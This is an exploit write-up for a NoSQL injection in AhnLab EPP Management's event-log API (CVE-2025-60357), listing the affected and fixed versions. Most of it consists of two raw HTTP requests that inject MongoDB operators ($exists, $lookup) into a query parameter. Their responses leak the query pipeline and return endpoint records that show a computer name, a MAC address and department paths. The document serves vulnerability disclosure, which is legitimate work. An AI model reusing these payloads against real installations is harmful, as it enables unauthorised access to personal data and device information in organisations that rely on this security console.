Exploit Title: ***AhnLab EPP Management(Centralised Endpoint Security Management) -NoSQL Injection in MongoDB , which led to sensitive info and PII disclosure***

Date: 24 May 2024

Vulnerable Version: (1.0.14.32-6249)  and before

Fixed Version released (EPP Management version (P14.32 > P16.25)): August 2024

CVE : CVE-2025-60357

Vendor Homepage: https://www.ahnlab.com/en

Software Link:https://www.ahnlab.com/ko/product/epp-management

Product Reveiw:https://www.gartner.com/reviews/market/endpoint-protection-platforms/compare/product/ahnlab-edr-vs-ahnlab-epp

Refence Link: https://www.cvedetails.com/cve/CVE-2025-60357

POST /api/console/ems/eventlog/agentEvent/list HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Reacted>
Content-Type: application/json;charset=utf-8
Content-Length: 180
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"request":
{"action":"get_event_log_agent_event_list_custom",
"revision":"1",
"params":["6628bcfc8b8a3556549fb3ae",
"66293a8fd751df5dd61c868c",
"\\$exists\\:true}",4197,10],"data":[]}}

HTTP/1.1 200 
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 835
date: Thu, 25 Apr 2024 03:15:25 GMT
cache-control: no-cache,no-store,no-control
connection: close

{"error_code":"EPP-99999","error_msg":"\n{\"collection\" : \"tb_agent_event_log\", \"data\" : [{\"$match\": {\"_id\": {\"$gte\":{\"$oid\":\"6628bcfc8b8a3556549fb3ae\"}, \"$lte\":{\"$oid\":\"66293a8fd751df5dd61c868c\"}}, \"node_id\": {$exists:true}} }}, {\"$skip\": 4197},{\"$project\": {\"_id\":\"$_id\",\"client_time\":\"$client_time\",\"node_id\":\"$node_id\",\"ip\":\"$ip\",\"computer_name\":\"$computer_name\",\"login_id\":\"$login_id\",\"user_name\":\"$user_name\",\"mac\":\"$mac\",\"department\":\"$department\",\"log_string_id\":\"$log_string_id\", \"log_string_args\":\"$log_string_args\"}}, {\"$limit\": 10}]}\n                                                                                                                                                                                         ^","revision":1,"response":[]}

POST /api/console/ems/eventlog/agentEvent/list HTTP/1.1
Host: 192.168.100.199:8803
Cookie: lang_set=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json;charset=utf-8
Accept-Language: de-CA,en-US;q=0.5,vi;q=0.3
Accept-Encoding: gzip, deflate, br
Authorization: bearer <Reacted>
Content-Type: application/json;charset=utf-8
Content-Length: 341
Origin: https://192.168.100.199:8803
Referer: https://192.168.100.199:8803/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

{"request":
{"action":"get_event_log_agent_event_list_custom",
"revision":"1","params":["6628bcfc8b8a3556549fb3ae",
"66293a8fd751df5dd61c868c",
"\\$exists\\:true}}},{\\$lookup\\:{\"from\":\"tb_agent_event_log\",\"localField\":\"_id\",\"foreignField\":\"_id\",\"as\":\"details\"}},{\\$match\\:{\"node_id\": {\\$exists\\:true",4197,10],"data":[]}}

HTTP/1.1 200 
strict-transport-security: max-age=0
x-frame-options: DENY
x-content-type-options: nosniff
content-type: application/json;charset=utf-8
content-length: 4516
date: Wed, 24 Apr 2024 10:52:13 GMT
cache-control: no-cache,no-store,no-control
connection: close

{"error_code":"EPP-00000",
"error_msg":"success",
"revision":1,
"response":[{"_id":{"timestamp":1713945876,
"counter":10472102,
"machineIdentifier":9144885,
"processIdentifier":22100,"timeSecond":1713945876,"time":1713945876000,"date":1713945876000},

"client_time":1713946136892,"node_id":2914,"ip":"Reacted.Reacted.Reacted",
"computer_name":"tiwaporn-k03","login_id":"Reacted","user_name":null,
"mac":"40-ef-0e-c5-13-37",
"department":"/group/<Reacted>/Reacted/Reacted.Reacted.0.0/Reacted.Reacted.226.0",
"log_string_id":"EPPAGENT_LOGID_21003","log_string_args":null},